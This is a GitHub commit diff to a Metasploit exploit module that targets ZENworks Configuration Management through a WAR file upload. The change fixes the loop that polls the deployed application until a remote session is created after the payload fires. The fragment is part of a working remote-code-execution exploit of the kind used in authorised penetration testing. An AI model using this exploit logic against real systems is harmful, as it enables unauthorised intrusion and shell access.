Skip to content

Commit 0ff3357

Browse files
committed
Fix waiting loop
1 parent 645f239 commit 0ff3357

File tree

1 file changed

+7
-4
lines changed

1 file changed

+7
-4
lines changed

modules/exploits/multi/http/zenworks_configuration_management_upload.rb

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def upload_war_and_exec(tomcat_path)
9090
}
9191
})
9292
if res && res.code == 200
93-
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
93+
print_status("#{peer} - Upload appears to have been successful")
9494
else
9595
print_error("#{peer} - Failed to upload, try again with a different path?")
9696
return false
@@ -105,10 +105,13 @@ def upload_war_and_exec(tomcat_path)
105105
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
106106
'method' => 'GET'
107107
})
108+
108109
# Failure. The request timed out or the server went away.
109-
return false if res.nil?
110-
# Success! Triggered the payload, should have a shell incoming
111-
return true if res.code == 200
110+
break if res.nil?
111+
# Failure. Unexpected answer
112+
break if res.code != 200
113+
# Unless session... keep looping
114+
return true if session_created?
112115
end
113116

114117
false

0 commit comments

Comments
 (0)